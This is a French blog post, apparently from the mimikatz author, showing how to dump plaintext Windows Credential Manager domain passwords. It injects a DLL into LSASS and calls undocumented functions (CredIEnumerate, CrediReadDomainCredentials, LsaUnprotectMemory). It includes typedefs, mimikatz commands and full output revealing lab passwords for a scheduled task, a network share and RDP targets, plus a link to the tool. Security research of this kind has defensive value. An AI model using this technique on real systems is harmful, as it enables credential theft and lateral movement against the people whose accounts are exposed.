Comme vu lors de l’essai de récupération des mots de passe des tâches planifiées, le gestionnaire d’identification ne retourne pas très facilement de credentials en clair pour un type CRED_TYPE_DOMAIN_PASSWORD …

Tests

Stockons quelques credentials de type CRED_TYPE_DOMAIN_PASSWORD :

Via une tâche planifiée



Résultat :

mimikatz # system::user Utilisateur : WORKGROUP\VM-W7-ULT$ mimikatz # divers::secrets full Nombre de secrets : 1 TargetName : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL> Type : DOMAIN_PASSWORD (2) Comment : <NULL> UserName : vm-w7-ult\Gentille Tâche Credential : <NULL>

Via un utilisateur et un partage réseau



Résultat :

mimikatz # system::user Utilisateur : vm-w7-ult\Gentil Utilisateur mimikatz # divers::secrets full Nombre de secrets : 1 TargetName : Domain:target=serveur / <NULL> Type : DOMAIN_PASSWORD (2) Comment : <NULL> UserName : utilisateur Credential : <NULL>

Via un utilisateur, un terminal server et un partage réseau



Résultat :

mimikatz # system::user Utilisateur : vm-w7-ult\Gentil Kiwi mimikatz # divers::secrets Nombre de secrets : 2 TargetName : TERMSRV/windows-f.vm.nirvana.local / <NULL> Type : DOMAIN_PASSWORD (2) Comment : <NULL> UserName : test@nirvana.local Credential : <NULL> TargetName : windows-b.vm.nirvana.local / <NULL> Type : DOMAIN_PASSWORD (2) Comment : <NULL> UserName : testshare@nirvana.local Credential : <NULL>

Explications

Les credentials exposés ici n’ont pas à être manipulés dans les applications utilisateurs, mais par le gestionnaire d’authentification de Windows ( LSASS ), il n’y a donc pas de raison qu’ils soient accessibles dans l’espace utilisateurs.

Pour rappel :

If the Type member is CRED_TYPE_DOMAIN_PASSWORD, this member contains the plaintext Unicode password for UserName. The CredentialBlob and CredentialBlobSize members do not include a trailing zero character. Also, for CRED_TYPE_DOMAIN_PASSWORD, this member can only be read by the authentication packages.

Plus clairement : fini de jouer avec CredEnumerate en mode utilisateur, il faut passer via un contexte SYSTEM dans LSASS

Implémentation

Exit CredEnumerate qui se limite à l’utilisateur courant, pour gagner du temps utilisons CredIEnumerate (non exportée, non documentée) qui permet de lister les secrets d’une session particulière :)

typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE) (IN PLUID pLUID, IN DWORD unk0, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);

Une fois les secrets identifiés, ne retenons que ceux concernés par le déchiffrement dans LSASS ( CRED_TYPE_DOMAIN_PASSWORD dans notre cas), et demandons poliment à LSA_SECPKG_FUNCTION_TABLE->CrediReadDomainCredentials depuis le processus LSASS les credentials désirés…

Puisque l’on est dans LSASS , et que Microsoft annonce que les données ne sont lisibles que par les packages d’authentification, pourquoi ne pas rajouter un petit coup de LSA_SECPKG_FUNCTION_TABLE->LsaUnprotectMemory ?

Resultat

Bien sûr, en tant qu’Administrateur, ou SYSTEM (dans ce cas, pas besoin du privilège debug)…

mimikatz 1.0 x86 (RC) /* Traitement du Kiwi (Jan 6 2013 17:43:18) */ // http://blog.gentilkiwi.com/mimikatz mimikatz # privilege::debug Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK mimikatz # inject::service samss sekurlsa.dll SERVICE(samss).serviceDisplayName = Gestionnaire de comptes de sécurité SERVICE(samss).ServiceStatusProcess.dwProcessId = 512 Attente de connexion du client... Serveur connecté à un client ! Message du processus : Bienvenue dans un processus distant Gentil Kiwi SekurLSA : librairie de manipulation des données de sécurité dans LSASS mimikatz # @getCredman full Authentification Id : 0;999 Package d'authentification : NTLM Utilisateur principal : VM-W7-ULT$ Domaine d'authentification : WORKGROUP credman : * [0] Target : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL> * [0] Comment : <NULL> * [0] User : vm-w7-ult\Gentille Tâche [0] User : vm-w7-ult\Gentille Tâche [0] Cred : wazawaza12341234// Authentification Id : 0;6420317 Package d'authentification : NTLM Utilisateur principal : Gentil Utilisateur Domaine d'authentification : vm-w7-ult credman : * [0] Target : Domain:target=serveur / <NULL> * [0] Comment : <NULL> * [0] User : utilisateur [0] User : utilisateur [0] Cred : mdpuser Authentification Id : 0;447522 Package d'authentification : NTLM Utilisateur principal : Gentil Kiwi Domaine d'authentification : vm-w7-ult credman : * [0] Target : Domain:target=TERMSRV/windows-f.vm.nirvana.local / <NULL> * [0] Comment : <NULL> * [0] User : test@nirvana.local [0] User : test@nirvana.local [0] Cred : mdptest * [1] Target : Domain:target=windows-b.vm.nirvana.local / <NULL> * [1] Comment : <NULL> * [1] User : testshare@nirvana.local [0] User : testshare@nirvana.local [0] Cred : mdpshare mimikatz # exit

La version prenant en charge cette amélioration est disponible : http://blog.gentilkiwi.com/mimikatz